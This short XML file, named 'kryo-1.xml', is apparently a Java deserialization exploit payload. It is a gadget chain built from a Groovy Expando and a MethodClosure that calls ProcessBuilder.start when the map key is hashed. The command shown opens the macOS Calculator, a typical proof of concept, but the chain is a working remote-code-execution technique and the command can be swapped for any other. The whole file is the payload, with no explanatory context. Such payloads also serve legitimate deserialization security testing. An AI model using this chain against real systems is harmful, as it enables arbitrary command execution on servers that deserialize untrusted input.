kryo-1.xml

<map>
  <entry>
    <groovy.util.Expando>
      <expandoProperties>
        <entry>
          <string>hashCode</string>
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="groovy.util.Expando" reference="../../../.."/>
            <owner class="java.lang.ProcessBuilder">
              <command>
                <string>open</string>
                <string>/Applications/Calculator.app</string>
              </command>
              <redirectErrorStream>false</redirectErrorStream>
            </owner>
            <resolveStrategy>0</resolveStrategy>
            <directive>0</directive>
            <parameterTypes/>
            <maximumNumberOfParameters>0</maximumNumberOfParameters>
            <method>start</method>
          </org.codehaus.groovy.runtime.MethodClosure>
        </entry>
      </expandoProperties>
    </groovy.util.Expando>
    <int>1</int>
  </entry>
</map>